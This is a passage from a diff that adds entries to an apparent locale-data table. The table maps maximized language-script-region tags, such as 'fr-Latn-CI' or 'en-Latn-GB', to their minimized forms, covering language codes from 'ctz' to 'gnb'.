+ "ctz-Latn-MX": "ctz",
+ "cu-Cyrl-RU": "cu",
+ "cu-Glag-BG": "cu-Glag",
+ "cua-Latn-VN": "cua",
+ "cub-Latn-CO": "cub",
+ "cuc-Latn-MX": "cuc",
+ "cuh-Latn-KE": "cuh",
+ "cui-Latn-CO": "cui",
+ "cuj-Latn-PE": "cuj",
+ "cuk-Latn-PA": "cuk",
+ "cul-Latn-BR": "cul",
+ "cuo-Latn-VE": "cuo",
+ "cup-Latn-US": "cup",
+ "cut-Latn-MX": "cut",
+ "cuu-Lana-CN": "cuu",
+ "cuv-Latn-CM": "cuv",
+ "cux-Latn-MX": "cux",
+ "cv-Cyrl-RU": "cv",
+ "cvg-Latn-IN": "cvg",
+ "cvg-Tibt-IN": "cvg-Tibt",
+ "cvn-Latn-MX": "cvn",
+ "cwa-Latn-TZ": "cwa",
+ "cwb-Latn-MZ": "cwb",
+ "cwe-Latn-TZ": "cwe",
+ "cwg-Latn-MY": "cwg",
+ "cwt-Latn-SN": "cwt",
+ "cy-Latn-GB": "cy",
+ "cya-Latn-MX": "cya",
+ "cyb-Latn-BO": "cyb",
+ "cyo-Latn-PH": "cyo",
+ "czh-Hans-CN": "czh",
+ "czh-Hant-CN": "czh-Hant",
+ "czk-Hebr-CZ": "czk",
+ "czn-Latn-MX": "czn",
+ "czt-Latn-MM": "czt",
+ "da-Latn-DK": "da",
+ "daa-Latn-TD": "daa",
+ "dac-Latn-PG": "dac",
+ "dad-Latn-ZZ": "dad",
+ "dae-Latn-CM": "dae",
+ "dag-Latn-ZZ": "dag",
+ "dah-Latn-ZZ": "dah",
+ "dai-Latn-TD": "dai",
+ "daj-Latn-SD": "daj",
+ "dak-Latn-US": "dak",
+ "dal-Latn-KE": "dal",
+ "dam-Latn-NG": "dam",
+ "dao-Latn-MM": "dao",
+ "daq-Deva-IN": "daq",
+ "dar-Cyrl-RU": "dar",
+ "das-Latn-CI": "das",
+ "dau-Latn-TD": "dau",
+ "dav-Latn-KE": "dav",
+ "daw-Latn-PH": "daw",
+ "dax-Latn-AU": "dax",
+ "daz-Latn-ID": "daz",
+ "dba-Latn-ML": "dba",
+ "dbb-Latn-NG": "dbb",
+ "dbd-Latn-ZZ": "dbd",
+ "dbe-Latn-ID": "dbe",
+ "dbf-Latn-ID": "dbf",
+ "dbg-Latn-ML": "dbg",
+ "dbi-Latn-NG": "dbi",
+ "dbj-Arab-MY": "dbj-Arab",
+ "dbj-Latn-MY": "dbj",
+ "dbl-Latn-AU": "dbl",
+ "dbm-Latn-NG": "dbm",
+ "dbn-Latn-ID": "dbn",
+ "dbo-Latn-NG": "dbo",
+ "dbp-Latn-NG": "dbp",
+ "dbq-Latn-ZZ": "dbq",
+ "dbt-Latn-ML": "dbt",
+ "dbu-Latn-ML": "dbu",
+ "dbv-Latn-NG": "dbv",
+ "dbw-Latn-ML": "dbw",
+ "dby-Latn-PG": "dby",
+ "dcc-Arab-IN": "dcc",
+ "dcr-Latn-VI": "dcr",
+ "dda-Latn-AU": "dda",
+ "ddd-Latn-SS": "ddd",
+ "dde-Latn-CG": "dde",
+ "ddg-Latn-TL": "ddg",
+ "ddi-Latn-PG": "ddi",
+ "ddj-Latn-AU": "ddj",
+ "ddn-Latn-ZZ": "ddn",
+ "ddo-Cyrl-RU": "ddo",
+ "ddr-Latn-AU": "ddr",
+ "dds-Latn-ML": "dds",
+ "ddw-Latn-ID": "ddw",
+ "de-Latn-AT": "de-AT",
+ "de-Latn-CH": "de-CH",
+ "de-Latn-DE": "de",
+ "de-Latn-EZ": "de-EZ",
+ "de-Latn-LI": "de-LI",
+ "dec-Latn-SD": "dec",
+ "ded-Latn-ZZ": "ded",
+ "dee-Latn-LR": "dee",
+ "def-Arab-IR": "def",
+ "deg-Latn-NG": "deg",
+ "deh-Arab-PK": "deh",
+ "dei-Latn-ID": "dei",
+ "dek-Latn-CM": "dek",
+ "del-Latn-US": "del",
+ "dem-Latn-ID": "dem",
+ "den-Latn-CA": "den",
+ "deq-Latn-CF": "deq",
+ "der-Beng-IN": "der",
+ "der-Latn-IN": "der-Latn",
+ "des-Latn-BR": "des",
+ "dev-Latn-PG": "dev",
+ "dez-Latn-CD": "dez",
+ "dga-Latn-ZZ": "dga",
+ "dgb-Latn-ML": "dgb",
+ "dgc-Latn-PH": "dgc",
+ "dgd-Latn-BF": "dgd",
+ "dge-Latn-PG": "dge",
+ "dgg-Latn-PG": "dgg",
+ "dgh-Latn-ZZ": "dgh",
+ "dgi-Latn-ZZ": "dgi",
+ "dgk-Latn-CF": "dgk",
+ "dgl-Arab-ZZ": "dgl",
+ "dgn-Latn-AU": "dgn",
+ "dgr-Latn-CA": "dgr",
+ "dgs-Latn-BF": "dgs",
+ "dgt-Latn-AU": "dgt",
+ "dgw-Latn-AU": "dgw",
+ "dgx-Latn-PG": "dgx",
+ "dgz-Latn-ZZ": "dgz",
+ "dhg-Latn-AU": "dhg",
+ "dhi-Deva-NP": "dhi",
+ "dhl-Latn-AU": "dhl",
+ "dhm-Latn-AO": "dhm",
+ "dhn-Gujr-IN": "dhn",
+ "dho-Deva-IN": "dho",
+ "dhr-Latn-AU": "dhr",
+ "dhs-Latn-TZ": "dhs",
+ "dhu-Latn-AU": "dhu",
+ "dhv-Latn-NC": "dhv",
+ "dhw-Deva-NP": "dhw",
+ "dhx-Latn-AU": "dhx",
+ "dia-Latn-ZZ": "dia",
+ "dib-Latn-SS": "dib",
+ "dic-Latn-CI": "dic",
+ "did-Latn-SS": "did",
+ "dif-Latn-AU": "dif",
+ "dig-Latn-KE": "dig",
+ "dih-Latn-MX": "dih",
+ "dii-Latn-CM": "dii",
+ "dij-Latn-ID": "dij",
+ "dil-Latn-SD": "dil",
+ "din-Arab-SS": "din-Arab",
+ "din-Latn-SS": "din",
+ "dio-Latn-NG": "dio",
+ "dip-Latn-SS": "dip",
+ "dir-Latn-NG": "dir",
+ "dis-Beng-IN": "dis-Beng",
+ "dis-Latn-IN": "dis",
+ "diu-Latn-NA": "diu",
+ "diw-Latn-SS": "diw",
+ "dix-Latn-VU": "dix",
+ "diy-Latn-ID": "diy",
+ "diz-Latn-CD": "diz",
+ "dja-Latn-AU": "dja",
+ "djb-Latn-AU": "djb",
+ "djc-Latn-TD": "djc",
+ "djd-Latn-AU": "djd",
+ "dje-Latn-NE": "dje",
+ "djf-Latn-AU": "djf",
+ "dji-Latn-AU": "dji",
+ "djj-Latn-AU": "djj",
+ "djk-Latn-SR": "djk",
+ "djm-Latn-ML": "djm",
+ "djn-Latn-AU": "djn",
+ "djo-Latn-ID": "djo",
+ "djr-Latn-AU": "djr",
+ "dju-Latn-PG": "dju",
+ "djw-Latn-AU": "djw",
+ "dka-Tibt-BT": "dka",
+ "dkg-Latn-NG": "dkg",
+ "dkk-Latn-ID": "dkk",
+ "dkr-Latn-MY": "dkr",
+ "dks-Latn-SS": "dks",
+ "dkx-Latn-CM": "dkx",
+ "dlg-Cyrl-RU": "dlg",
+ "dlm-Latn-HR": "dlm",
+ "dln-Latn-IN": "dln",
+ "dma-Latn-GA": "dma",
+ "dmb-Latn-ML": "dmb",
+ "dmc-Latn-PG": "dmc",
+ "dmd-Latn-AU": "dmd",
+ "dme-Latn-CM": "dme",
+ "dmf-Medf-NG": "dmf",
+ "dmg-Latn-MY": "dmg",
+ "dmk-Arab-PK": "dmk",
+ "dml-Arab-PK": "dml",
+ "dmm-Latn-CM": "dmm",
+ "dmo-Latn-CM": "dmo",
+ "dmr-Latn-ID": "dmr",
+ "dms-Latn-ID": "dms",
+ "dmu-Latn-ID": "dmu",
+ "dmv-Latn-MY": "dmv",
+ "dmw-Latn-AU": "dmw",
+ "dmx-Latn-MZ": "dmx",
+ "dmy-Latn-ID": "dmy",
+ "dna-Latn-ID": "dna",
+ "dnd-Latn-PG": "dnd",
+ "dne-Latn-TZ": "dne",
+ "dng-Arab-KG": "dng-Arab",
+ "dng-Cyrl-KG": "dng",
+ "dni-Latn-ID": "dni",
+ "dnj-Latn-CI": "dnj",
+ "dnk-Latn-ID": "dnk",
+ "dnn-Latn-BF": "dnn",
+ "dno-Latn-CD": "dno",
+ "dnr-Latn-PG": "dnr",
+ "dnt-Latn-ID": "dnt",
+ "dnu-Mymr-MM": "dnu",
+ "dnv-Mymr-MM": "dnv",
+ "dnw-Latn-ID": "dnw",
+ "dny-Latn-BR": "dny",
+ "doa-Latn-PG": "doa",
+ "dob-Latn-ZZ": "dob",
+ "doc-Latn-CN": "doc",
+ "doe-Latn-TZ": "doe",
+ "dof-Latn-PG": "dof",
+ "doh-Latn-NG": "doh",
+ "doi-Deva-IN": "doi",
+ "doi-Dogr-IN": "doi-Dogr",
+ "doi-Takr-IN": "doi-Takr",
+ "dok-Latn-ID": "dok",
+ "dol-Latn-PG": "dol",
+ "don-Latn-PG": "don",
+ "doo-Latn-CD": "doo",
+ "dop-Latn-ZZ": "dop",
+ "dor-Latn-SB": "dor",
+ "dos-Latn-BF": "dos",
+ "dot-Latn-NG": "dot",
+ "dov-Latn-ZW": "dov",
+ "dow-Latn-ZZ": "dow",
+ "dox-Ethi-ET": "dox",
+ "doy-Latn-GH": "doy",
+ "dpp-Latn-MY": "dpp",
+ "drc-Latn-PT": "drc",
+ "dre-Tibt-NP": "dre",
+ "drg-Latn-MY": "drg",
+ "dri-Latn-ZZ": "dri",
+ "drl-Latn-AU": "drl",
+ "drn-Latn-ID": "drn",
+ "dro-Latn-MY": "dro",
+ "drq-Deva-NP": "drq",
+ "drs-Ethi-ZZ": "drs",
+ "drt-Latn-NL": "drt",
+ "dru-Latn-TW": "dru",
+ "dry-Deva-NP": "dry",
+ "dsb-Latn-DE": "dsb",
+ "dsh-Latn-KE": "dsh",
+ "dsi-Latn-TD": "dsi",
+ "dsn-Latn-ID": "dsn",
+ "dso-Orya-IN": "dso",
+ "dsq-Arab-ML": "dsq-Arab",
+ "dsq-Latn-ML": "dsq",
+ "dta-Cyrl-CN": "dta-Cyrl",
+ "dta-Hans-CN": "dta-Hans",
+ "dta-Latn-CN": "dta",
+ "dtb-Latn-MY": "dtb",
+ "dtd-Latn-CA": "dtd",
+ "dth-Latn-AU": "dth",
+ "dti-Latn-ML": "dti",
+ "dtk-Latn-ML": "dtk",
+ "dtm-Latn-ML": "dtm",
+ "dto-Latn-ML": "dto",
+ "dtp-Latn-MY": "dtp",
+ "dtr-Latn-MY": "dtr",
+ "dts-Latn-ZZ": "dts",
+ "dtt-Latn-ML": "dtt",
+ "dtu-Latn-ML": "dtu",
+ "dty-Deva-NP": "dty",
+ "dua-Latn-CM": "dua",
+ "dub-Gujr-IN": "dub",
+ "duc-Latn-ZZ": "duc",
+ "due-Latn-PH": "due",
+ "duf-Latn-NC": "duf",
+ "dug-Latn-ZZ": "dug",
+ "duh-Deva-IN": "duh",
+ "duh-Gujr-IN": "duh-Gujr",
+ "dui-Latn-PG": "dui",
+ "duk-Latn-PG": "duk",
+ "dul-Latn-PH": "dul",
+ "dum-Latn-NL": "dum",
+ "dun-Latn-ID": "dun",
+ "duo-Latn-PH": "duo",
+ "dup-Latn-ID": "dup",
+ "duq-Latn-ID": "duq",
+ "dur-Latn-CM": "dur",
+ "dus-Deva-NP": "dus",
+ "duu-Latn-CN": "duu",
+ "duv-Latn-ID": "duv",
+ "duw-Latn-ID": "duw",
+ "dux-Latn-ML": "dux",
+ "duy-Latn-PH": "duy",
+ "duz-Latn-CM": "duz",
+ "dv-Diak-MV": "dv-Diak",
+ "dv-Thaa-MV": "dv",
+ "dva-Latn-ZZ": "dva",
+ "dwa-Latn-NG": "dwa",
+ "dwk-Orya-IN": "dwk",
+ "dwr-Ethi-ET": "dwr-Ethi",
+ "dwr-Latn-ET": "dwr",
+ "dws-Latn-001": "dws",
+ "dwu-Latn-AU": "dwu",
+ "dww-Latn-ZZ": "dww",
+ "dwy-Latn-AU": "dwy",
+ "dwz-Deva-NP": "dwz",
+ "dya-Latn-BF": "dya",
+ "dyb-Latn-AU": "dyb",
+ "dyd-Latn-AU": "dyd",
+ "dyg-Latn-PH": "dyg",
+ "dyi-Latn-CI": "dyi",
+ "dym-Latn-ML": "dym",
+ "dyn-Latn-AU": "dyn",
+ "dyo-Latn-SN": "dyo",
+ "dyu-Latn-BF": "dyu",
+ "dyy-Latn-AU": "dyy",
+ "dz-Tibt-BT": "dz",
+ "dza-Latn-NG": "dza",
+ "dze-Latn-AU": "dze",
+ "dzg-Latn-ZZ": "dzg",
+ "dzl-Tibt-BT": "dzl",
+ "dzn-Latn-CD": "dzn",
+ "eaa-Latn-AU": "eaa",
+ "ebc-Latn-ID": "ebc",
+ "ebg-Latn-NG": "ebg",
+ "ebk-Latn-PH": "ebk",
+ "ebo-Latn-CG": "ebo",
+ "ebr-Latn-CI": "ebr",
+ "ebu-Latn-KE": "ebu",
+ "ecr-Grek-GR": "ecr",
+ "ecy-Cprt-CY": "ecy",
+ "ee-Latn-GH": "ee",
+ "efa-Latn-NG": "efa",
+ "efe-Latn-CD": "efe",
+ "efi-Latn-NG": "efi",
+ "ega-Latn-CI": "ega",
+ "egl-Latn-IT": "egl",
+ "egm-Latn-TZ": "egm",
+ "ego-Latn-NG": "ego",
+ "egy-Egyp-EG": "egy",
+ "ehu-Latn-NG": "ehu",
+ "eip-Latn-ID": "eip",
+ "eit-Latn-PG": "eit",
+ "eiv-Latn-PG": "eiv",
+ "eja-Latn-GW": "eja",
+ "eka-Latn-ZZ": "eka",
+ "eke-Latn-NG": "eke",
+ "ekg-Latn-ID": "ekg",
+ "eki-Latn-NG": "eki",
+ "ekl-Latn-BD": "ekl",
+ "ekm-Latn-CM": "ekm",
+ "eko-Arab-MZ": "eko-Arab",
+ "eko-Latn-MZ": "eko",
+ "ekp-Latn-NG": "ekp",
+ "ekr-Latn-NG": "ekr",
+ "eky-Kali-MM": "eky",
+ "el-Grek-CY": "el-CY",
+ "el-Grek-GR": "el",
+ "ele-Latn-PG": "ele",
+ "elk-Latn-PG": "elk",
+ "elm-Latn-NG": "elm",
+ "elo-Latn-KE": "elo",
+ "elu-Latn-PG": "elu",
+ "ema-Latn-ZZ": "ema",
+ "emb-Latn-ID": "emb",
+ "eme-Latn-GF": "eme",
+ "emg-Deva-NP": "emg",
+ "emi-Latn-ZZ": "emi",
+ "emm-Latn-MX": "emm",
+ "emn-Latn-CM": "emn",
+ "emp-Latn-PA": "emp",
+ "ems-Cyrl-US": "ems-Cyrl",
+ "ems-Latn-US": "ems",
+ "emu-Deva-IN": "emu",
+ "emw-Latn-ID": "emw",
+ "emx-Latn-FR": "emx",
+ "emz-Latn-CM": "emz",
+ "en-Latn-AU": "en-AU",
+ "en-Latn-DG": "en-DG",
+ "en-Latn-ET": "en-ET",
+ "en-Latn-GB": "en-GB",
+ "en-Latn-GU": "en-GU",
+ "en-Latn-IE": "en-IE",
+ "en-Latn-NG": "en-NG",
+ "en-Latn-PG": "en-PG",
+ "en-Latn-US": "en",
+ "en-Latn-ZA": "en-ZA",
+ "en-Shaw-GB": "en-Shaw",
+ "ena-Latn-PG": "ena",
+ "enb-Latn-KE": "enb",
+ "enc-Latn-VN": "enc",
+ "end-Latn-ID": "end",
+ "enf-Cyrl-RU": "enf",
+ "enh-Cyrl-RU": "enh",
+ "enl-Latn-PY": "enl",
+ "enm-Latn-GB": "enm",
+ "enn-Latn-ZZ": "enn",
+ "eno-Latn-ID": "eno",
+ "enq-Latn-ZZ": "enq",
+ "enr-Latn-ID": "enr",
+ "env-Latn-NG": "env",
+ "enw-Latn-NG": "enw",
+ "enx-Latn-PY": "enx",
+ "eo-Latn-001": "eo",
+ "eot-Latn-CI": "eot",
+ "epi-Latn-NG": "epi",
+ "era-Taml-IN": "era",
+ "erg-Latn-VU": "erg",
+ "erh-Latn-NG": "erh",
+ "eri-Latn-ZZ": "eri",
+ "erk-Latn-VU": "erk",
+ "err-Latn-AU": "err",
+ "ert-Latn-ID": "ert",
+ "erw-Latn-ID": "erw",
+ "es-Latn-419": "es-419",
+ "es-Latn-AR": "es-AR",
+ "es-Latn-BO": "es-BO",
+ "es-Latn-CL": "es-CL",
+ "es-Latn-CO": "es-CO",
+ "es-Latn-CR": "es-CR",
+ "es-Latn-CU": "es-CU",
+ "es-Latn-DO": "es-DO",
+ "es-Latn-EA": "es-EA",
+ "es-Latn-EC": "es-EC",
+ "es-Latn-ES": "es",
+ "es-Latn-GQ": "es-GQ",
+ "es-Latn-GT": "es-GT",
+ "es-Latn-HN": "es-HN",
+ "es-Latn-IC": "es-IC",
+ "es-Latn-MX": "es-MX",
+ "es-Latn-NI": "es-NI",
+ "es-Latn-PA": "es-PA",
+ "es-Latn-PE": "es-PE",
+ "es-Latn-PR": "es-PR",
+ "es-Latn-SV": "es-SV",
+ "es-Latn-UY": "es-UY",
+ "es-Latn-VE": "es-VE",
+ "ese-Latn-BO": "ese",
+ "esg-Gonm-IN": "esg",
+ "esh-Arab-IR": "esh",
+ "esi-Latn-US": "esi",
+ "esm-Latn-CI": "esm",
+ "ess-Cyrl-US": "ess-Cyrl",
+ "ess-Latn-US": "ess",
+ "esu-Latn-US": "esu",
+ "esy-Latn-PH": "esy",
+ "et-Latn-EE": "et",
+ "etb-Latn-NG": "etb",
+ "etn-Latn-VU": "etn",
+ "eto-Latn-CM": "eto",
+ "etr-Latn-ZZ": "etr",
+ "ets-Latn-NG": "ets",
+ "ett-Ital-IT": "ett",
+ "etu-Latn-ZZ": "etu",
+ "etx-Latn-ZZ": "etx",
+ "etz-Latn-ID": "etz",
+ "eu-Latn-ES": "eu",
+ "eve-Cyrl-RU": "eve",
+ "evh-Latn-NG": "evh",
+ "evn-Cyrl-RU": "evn",
+ "evn-Latn-CN": "evn-Latn",
+ "evn-Mong-CN": "evn-Mong",
+ "ewo-Latn-CM": "ewo",
+ "ext-Latn-ES": "ext",
+ "eya-Latn-US": "eya",
+ "eyo-Latn-KE": "eyo",
+ "eza-Latn-ZZ": "eza",
+ "eze-Latn-NG": "eze",
+ "fa-Arab-AF": "fa-AF",
+ "fa-Arab-IR": "fa",
+ "fa-Arab-TJ": "fa-TJ",
+ "faa-Latn-ZZ": "faa",
+ "fab-Latn-ZZ": "fab",
+ "fad-Latn-PG": "fad",
+ "faf-Latn-SB": "faf",
+ "fag-Latn-ZZ": "fag",
+ "fah-Latn-NG": "fah",
+ "fai-Latn-ZZ": "fai",
+ "faj-Latn-PG": "faj",
+ "fak-Latn-CM": "fak",
+ "fal-Latn-CM": "fal",
+ "fam-Latn-NG": "fam",
+ "fan-Latn-GQ": "fan",
+ "fap-Latn-SN": "fap",
+ "far-Latn-SB": "far",
+ "fau-Latn-ID": "fau",
+ "fax-Latn-ES": "fax",
+ "fay-Arab-IR": "fay",
+ "faz-Arab-IR": "faz",
+ "fbl-Latn-PH": "fbl",
+ "fer-Latn-SS": "fer",
+ "ff-Adlm-GN": "ff-Adlm",
+ "ff-Latn-SN": "ff",
+ "ffi-Latn-ZZ": "ffi",
+ "ffm-Latn-ML": "ffm",
+ "fgr-Latn-TD": "fgr",
+ "fi-Latn-FI": "fi",
+ "fia-Arab-SD": "fia",
+ "fie-Latn-NG": "fie",
+ "fif-Latn-SA": "fif",
+ "fil-Latn-PH": "fil",
+ "fil-Tglg-PH": "fil-Tglg",
+ "fip-Latn-TZ": "fip",
+ "fir-Latn-NG": "fir",
+ "fit-Latn-SE": "fit",
+ "fiw-Latn-PG": "fiw",
+ "fj-Latn-FJ": "fj",
+ "fkk-Latn-NG": "fkk",
+ "fkv-Latn-NO": "fkv",
+ "fla-Latn-US": "fla",
+ "flh-Latn-ID": "flh",
+ "fli-Latn-NG": "fli",
+ "fll-Latn-CM": "fll",
+ "fln-Latn-AU": "fln",
+ "flr-Latn-ZZ": "flr",
+ "fly-Latn-ZA": "fly",
+ "fmp-Latn-ZZ": "fmp",
+ "fmu-Deva-IN": "fmu",
+ "fnb-Latn-VU": "fnb",
+ "fng-Latn-ZA": "fng",
+ "fni-Latn-TD": "fni",
+ "fo-Latn-FO": "fo",
+ "fod-Latn-ZZ": "fod",
+ "foi-Latn-PG": "foi",
+ "fom-Latn-CD": "fom",
+ "fon-Latn-BJ": "fon",
+ "for-Latn-ZZ": "for",
+ "fos-Latn-TW": "fos",
+ "fpe-Latn-ZZ": "fpe",
+ "fqs-Latn-ZZ": "fqs",
+ "fr-Brai-FR": "fr-Brai",
+ "fr-Dupl-FR": "fr-Dupl",
+ "fr-Latn-BF": "fr-BF",
+ "fr-Latn-BJ": "fr-BJ",
+ "fr-Latn-BL": "fr-BL",
+ "fr-Latn-CF": "fr-CF",
+ "fr-Latn-CG": "fr-CG",
+ "fr-Latn-CI": "fr-CI",
+ "fr-Latn-CM": "fr-CM",
+ "fr-Latn-DZ": "fr-DZ",
+ "fr-Latn-FR": "fr",
+ "fr-Latn-GA": "fr-GA",
+ "fr-Latn-GF": "fr-GF",
+ "fr-Latn-GN": "fr-GN",
+ "fr-Latn-GP": "fr-GP",
+ "fr-Latn-KM": "fr-KM",
+ "fr-Latn-LU": "fr-LU",
+ "fr-Latn-MA": "fr-MA",
+ "fr-Latn-MC": "fr-MC",
+ "fr-Latn-MF": "fr-MF",
+ "fr-Latn-MQ": "fr-MQ",
+ "fr-Latn-MR": "fr-MR",
+ "fr-Latn-NC": "fr-NC",
+ "fr-Latn-PF": "fr-PF",
+ "fr-Latn-PM": "fr-PM",
+ "fr-Latn-RE": "fr-RE",
+ "fr-Latn-SC": "fr-SC",
+ "fr-Latn-SN": "fr-SN",
+ "fr-Latn-SY": "fr-SY",
+ "fr-Latn-TD": "fr-TD",
+ "fr-Latn-TF": "fr-TF",
+ "fr-Latn-TG": "fr-TG",
+ "fr-Latn-TN": "fr-TN",
+ "fr-Latn-WF": "fr-WF",
+ "fr-Latn-YT": "fr-YT",
+ "frc-Latn-US": "frc",
+ "frd-Latn-ID": "frd",
+ "frk-Latn-DE": "frk",
+ "frm-Latn-FR": "frm",
+ "fro-Latn-FR": "fro",
+ "frp-Latn-FR": "frp",
+ "frq-Latn-PG": "frq",
+ "frr-Latn-DE": "frr",
+ "frs-Latn-DE": "frs",
+ "frt-Latn-VU": "frt",
+ "fub-Arab-CM": "fub",
+ "fud-Latn-WF": "fud",
+ "fue-Latn-ZZ": "fue",
+ "fuf-Latn-GN": "fuf",
+ "fuh-Latn-ZZ": "fuh",
+ "fui-Latn-TD": "fui",
+ "fum-Latn-NG": "fum",
+ "fun-Latn-BR": "fun",
+ "fuq-Latn-NE": "fuq",
+ "fur-Latn-IT": "fur",
+ "fut-Latn-VU": "fut",
+ "fuu-Latn-CD": "fuu",
+ "fuv-Latn-NG": "fuv",
+ "fuy-Latn-ZZ": "fuy",
+ "fvr-Latn-SD": "fvr",
+ "fwa-Latn-NC": "fwa",
+ "fwe-Latn-NA": "fwe",
+ "fy-Latn-NL": "fy",
+ "ga-Latn-IE": "ga",
+ "gaa-Latn-GH": "gaa",
+ "gab-Latn-TD": "gab",
+ "gac-Deva-IN": "gac-Deva",
+ "gac-Latn-IN": "gac",
+ "gad-Latn-PH": "gad",
+ "gae-Latn-VE": "gae",
+ "gaf-Latn-ZZ": "gaf",
+ "gag-Latn-MD": "gag",
+ "gah-Latn-ZZ": "gah",
+ "gai-Latn-PG": "gai",
+ "gaj-Latn-ZZ": "gaj",
+ "gak-Latn-ID": "gak",
+ "gal-Latn-TL": "gal",
+ "gam-Latn-ZZ": "gam",
+ "gan-Hans-CN": "gan",
+ "gao-Latn-PG": "gao",
+ "gap-Latn-PG": "gap",
+ "gaq-Orya-IN": "gaq",
+ "gar-Latn-PG": "gar",
+ "gas-Gujr-IN": "gas",
+ "gat-Latn-PG": "gat",
+ "gau-Telu-IN": "gau",
+ "gaw-Latn-ZZ": "gaw",
+ "gax-Ethi-ET": "gax-Ethi",
+ "gax-Latn-ET": "gax",
+ "gay-Latn-ID": "gay",
+ "gba-Latn-ZZ": "gba",
+ "gbb-Latn-AU": "gbb",
+ "gbd-Latn-AU": "gbd",
+ "gbe-Latn-PG": "gbe",
+ "gbf-Latn-ZZ": "gbf",
+ "gbg-Latn-CF": "gbg",
+ "gbh-Latn-BJ": "gbh",
+ "gbi-Latn-ID": "gbi",
+ "gbj-Orya-IN": "gbj",
+ "gbk-Deva-IN": "gbk",
+ "gbk-Takr-IN": "gbk-Takr",
+ "gbl-Deva-IN": "gbl-Deva",
+ "gbl-Gujr-IN": "gbl",
+ "gbm-Deva-IN": "gbm",
+ "gbn-Latn-SS": "gbn",
+ "gbp-Latn-CF": "gbp",
+ "gbq-Latn-CF": "gbq",
+ "gbr-Latn-NG": "gbr",
+ "gbs-Latn-BJ": "gbs",
+ "gbu-Latn-AU": "gbu",
+ "gbv-Latn-CF": "gbv",
+ "gbw-Latn-AU": "gbw",
+ "gbx-Latn-BJ": "gbx",
+ "gby-Latn-ZZ": "gby",
+ "gbz-Arab-IR": "gbz",
+ "gcc-Latn-PG": "gcc",
+ "gcd-Latn-AU": "gcd",
+ "gcf-Latn-GP": "gcf",
+ "gcl-Latn-GD": "gcl",
+ "gcn-Latn-PG": "gcn",
+ "gcr-Latn-GF": "gcr",
+ "gct-Latn-VE": "gct",
+ "gd-Latn-GB": "gd",
+ "gdb-Orya-IN": "gdb",
+ "gdb-Telu-IN": "gdb-Telu",
+ "gdc-Latn-AU": "gdc",
+ "gdd-Latn-PG": "gdd",
+ "gde-Latn-ZZ": "gde",
+ "gdf-Latn-NG": "gdf",
+ "gdg-Latn-PH": "gdg",
+ "gdh-Latn-AU": "gdh",
+ "gdi-Latn-CF": "gdi",
+ "gdj-Latn-AU": "gdj",
+ "gdk-Latn-TD": "gdk",
+ "gdl-Ethi-ET": "gdl-Ethi",
+ "gdl-Latn-ET": "gdl",
+ "gdm-Latn-TD": "gdm",
+ "gdn-Latn-ZZ": "gdn",
+ "gdo-Cyrl-RU": "gdo",
+ "gdq-Latn-YE": "gdq",
+ "gdr-Latn-ZZ": "gdr",
+ "gdt-Latn-AU": "gdt",
+ "gdu-Latn-NG": "gdu",
+ "gdx-Deva-IN": "gdx",
+ "gea-Latn-NG": "gea",
+ "geb-Latn-ZZ": "geb",
+ "gec-Latn-LR": "gec",
+ "ged-Latn-NG": "ged",
+ "gef-Latn-ID": "gef",
+ "geg-Latn-NG": "geg",
+ "geh-Latn-CA": "geh",
+ "gei-Latn-ID": "gei",
+ "gej-Latn-ZZ": "gej",
+ "gek-Latn-NG": "gek",
+ "gel-Latn-ZZ": "gel",
+ "geq-Latn-CF": "geq",
+ "ges-Latn-ID": "ges",
+ "gev-Latn-GA": "gev",
+ "gew-Latn-NG": "gew",
+ "gex-Latn-SO": "gex",
+ "gey-Latn-CD": "gey",
+ "gez-Ethi-ET": "gez",
+ "gfk-Latn-ZZ": "gfk",
+ "gga-Latn-SB": "gga",
+ "ggb-Latn-LR": "ggb",
+ "ggd-Latn-AU": "ggd",
+ "gge-Latn-AU": "gge",
+ "ggg-Arab-PK": "ggg",
+ "ggk-Latn-AU": "ggk",
+ "ggl-Latn-PG": "ggl",
+ "ggt-Latn-PG": "ggt",
+ "ggu-Latn-CI": "ggu",
+ "ggw-Latn-PG": "ggw",
+ "gha-Arab-LY": "gha",
+ "gha-Latn-LY": "gha-Latn",
+ "gha-Tfng-LY": "gha-Tfng",
+ "ghc-Latn-GB": "ghc",
+ "ghe-Deva-NP": "ghe",
+ "ghk-Latn-MM": "ghk",
+ "ghn-Latn-SB": "ghn",
+ "ghr-Arab-PK": "ghr",
+ "ghs-Latn-ZZ": "ghs",
+ "ght-Tibt-NP": "ght",
+ "gia-Latn-AU": "gia",
+ "gib-Latn-NG": "gib",
+ "gic-Latn-ZA": "gic",
+ "gid-Latn-CM": "gid",
+ "gie-Latn-CI": "gie",
+ "gig-Arab-PK": "gig",
+ "gih-Latn-AU": "gih",
+ "gil-Latn-KI": "gil",
+ "gim-Latn-ZZ": "gim",
+ "gin-Cyrl-RU": "gin",
+ "gip-Latn-PG": "gip",
+ "giq-Latn-VN": "giq",
+ "gir-Latn-VN": "gir",
+ "gis-Latn-CM": "gis",
+ "git-Latn-CA": "git",
+ "gix-Latn-CD": "gix",
+ "giy-Latn-AU": "giy",
+ "giz-Latn-CM": "giz",
+ "gjk-Arab-PK": "gjk",
+ "gjm-Latn-AU": "gjm",
+ "gjn-Latn-ZZ": "gjn",
+ "gjr-Latn-AU": "gjr",
+ "gju-Arab-PK": "gju",
+ "gka-Latn-PG": "gka",
+ "gkd-Latn-PG": "gkd",
+ "gke-Latn-CM": "gke",
+ "gkn-Latn-ZZ": "gkn",
+ "gko-Latn-AU": "gko",
+ "gkp-Latn-ZZ": "gkp",
+ "gku-Latn-ZA": "gku",
+ "gl-Latn-ES": "gl",
+ "glb-Latn-NG": "glb",
+ "glc-Latn-TD": "glc",
+ "gld-Cyrl-RU": "gld",
+ "glh-Arab-AF": "glh",
+ "glj-Latn-TD": "glj",
+ "glk-Arab-IR": "glk",
+ "gll-Latn-AU": "gll",
+ "glo-Latn-NG": "glo",
+ "glr-Latn-LR": "glr",
+ "glu-Latn-TD": "glu",
+ "glw-Latn-NG": "glw",
+ "gma-Latn-AU": "gma",
+ "gmb-Latn-SB": "gmb",
+ "gmd-Latn-NG": "gmd",
+ "gmg-Latn-PG": "gmg",
+ "gmh-Latn-DE": "gmh",
+ "gmm-Latn-ZZ": "gmm",
+ "gmn-Latn-CM": "gmn",
+ "gmr-Latn-AU": "gmr",
+ "gmu-Latn-PG": "gmu",
+ "gmv-Ethi-ZZ": "gmv",
+ "gmx-Latn-TZ": "gmx",
+ "gmy-Linb-GR": "gmy",
+ "gmz-Latn-NG": "gmz",
+ "gn-Latn-PY": "gn",
+ "gna-Latn-BF": "gna",
+ "gnb-Latn-IN": "gnb",
